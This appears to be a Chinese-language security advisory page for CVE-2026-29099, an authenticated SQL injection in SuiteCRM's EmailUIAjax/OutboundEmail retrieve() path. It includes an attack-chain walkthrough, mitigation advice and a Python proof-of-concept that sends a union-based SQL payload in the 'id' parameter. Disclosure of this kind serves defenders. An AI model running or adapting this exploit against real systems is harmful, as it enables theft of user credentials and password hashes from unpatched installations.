IPBUF安全漏洞报告
English
CVE-2026-29099 CVSS 8.8 高危

CVE-2026-29099 SuiteCRM SQL注入漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-29099
漏洞类型
SQL注入
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SuiteCRM

相关标签

SQL注入SuiteCRMCVE-2026-29099远程代码执行权限提升

漏洞概述

SuiteCRM是一个开源的企业级CRM软件。在7.15.1和8.9.3版本之前,`include/OutboundEmail/OutboundEmail.php`中的`retrieve()`函数未能正确净化用户控制的`$id`参数。虽然假定调用方会清理输入,但在通过`Email()`模块的`EmailUIAjax`动作访问的两个位置中未进行适当的处理。这允许经过身份验证的用户执行SQL注入攻击,从而从数据库中检索任意敏感信息,包括用户凭证和密码哈希。

技术细节

该漏洞源于`include/OutboundEmail/OutboundEmail.php`中`retrieve()`函数缺乏输入验证。该函数直接使用用户提供的`$id`参数构造数据库查询,而未进行适当的引号包裹或转义。攻击者可以通过`Email()`模块中的`EmailUIAjax`动作触发该函数。由于调用链绕过了预期的输入清理机制,攻击者可以注入恶意SQL语句。利用此漏洞可实施盲注或联合查询攻击,由于未限制可访问的数据库表,攻击者能够读取数据库中的任意敏感数据,如用户账户信息和密码哈希值。

攻击链分析

STEP 1
1. 信息收集
攻击者识别目标系统为SuiteCRM,并确认其版本低于7.15.1或8.9.3。
STEP 2
2. 获取访问权限
攻击者注册或使用低权限账户登录到SuiteCRM系统,获取有效的Session ID。
STEP 3
3. 发送恶意请求
攻击者向`EmailUIAjax`接口发送特制的POST请求,在`id`参数中注入SQL载荷。
STEP 4
4. 执行SQL注入
后端`retrieve()`函数直接将未净化的`id`参数拼接到SQL查询中,导致恶意SQL语句执行。
STEP 5
5. 数据窃取
攻击者利用SQL注入读取数据库中的敏感数据,如管理员密码哈希、用户信息等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# Proof of Concept (PoC) for CVE-2026-29099 # Description: Exploits SQL Injection in SuiteCRM via EmailUIAjax action. import requests def exploit_suitecrm(target_url, session_cookie): """ Attempts to exploit the SQL injection vulnerability in SuiteCRM. """ # The endpoint vulnerable to the attack url = f"{target_url}/index.php" # Payload targeting the $id parameter in retrieve() # Using a simple Union Based injection to extract database version sql_payload = "1' UNION SELECT 1,2,3,4,version(),6,7,8,9-- -" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" } cookies = { "PHPSESSID": session_cookie } # Data payload simulating the EmailUIAjax request data = { "module": "Emails", "action": "EmailUIAjax", "emailUIAction": "getSingleMessageFromSugar", "id": sql_payload } try: response = requests.post(url, data=data, headers=headers, cookies=cookies, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text[:500]) # Print first 500 chars of response else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Replace with actual target and valid session cookie target = "http://localhost/suitecrm" session_id = "valid_authenticated_session_id_here" exploit_suitecrm(target, session_id)

影响范围

SuiteCRM < 7.15.1
SuiteCRM < 8.9.3

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层面对`index.php`的请求参数进行严格过滤,或者暂时禁用低权限用户对Email模块的访问权限。同时,应强制所有用户更改密码以防凭证泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表